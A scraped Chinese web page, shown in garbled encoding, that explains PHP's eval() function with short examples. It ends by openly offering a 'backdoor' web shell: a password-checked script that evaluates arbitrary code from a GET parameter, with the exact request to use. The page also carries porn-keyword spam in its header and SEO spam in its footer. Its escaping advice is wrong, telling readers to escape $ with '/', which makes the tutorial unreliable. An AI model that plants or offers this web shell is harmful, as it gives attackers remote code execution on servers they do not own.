国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > PHP > 正文

PHP eval函數(shù)使用介紹

2024-05-04 23:19:53
字體:
供稿:網(wǎng)友

代碼:

復(fù)制代碼 代碼如下:


eval("echo'hello world';");

上邊代碼等同于下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運(yùn)用eval()要注意幾點(diǎn):

1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào),在最后還要另加一個(gè)分號(hào)(這個(gè)分號(hào)是php限制)

2.注意單引號(hào),雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話,變量前的$符號(hào)錢一定要有/來轉(zhuǎn)義。如果沒有賦值操作可以不需要。

代碼:

復(fù)制代碼 代碼如下:


$a=100;
eval("echo$a;");

因?yàn)闆]有賦值操作,所以可以不用/來轉(zhuǎn)義$.等同于以下代碼:

復(fù)制代碼 代碼如下:


$a=100;
eval("echo/$a;")

3.注意在命令式字符串(包括分號(hào))兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。

命令式字符串是指:字符串中包括echo、print之類的命令的時(shí)候。

如果參數(shù)只有一個(gè)變量則可以不用。例如:

復(fù)制代碼 代碼如下:


$func =<<<FUNC
function test(){ 
    echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享個(gè)php eval后門程序

要求必須支持eval函數(shù)
使用方法
?pwd=admin&action=eval&a=phpinfo();

復(fù)制代碼 代碼如下:


<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 沙田区| 盐池县| 化德县| 新丰县| 县级市| 鲁甸县| 五华县| 墨江| 满城县| 新和县| 北碚区| 循化| 宁德市| 都兰县| 日照市| 金塔县| 文成县| 阳江市| 师宗县| 怀宁县| 讷河市| 宝应县| 开化县| 密云县| 大足县| 林州市| 汾西县| 皋兰县| 康乐县| 慈溪市| 湛江市| 福海县| 涟源市| 柏乡县| 南康市| 雷波县| 江口县| 平远县| 晋江市| 葫芦岛市| 沈丘县|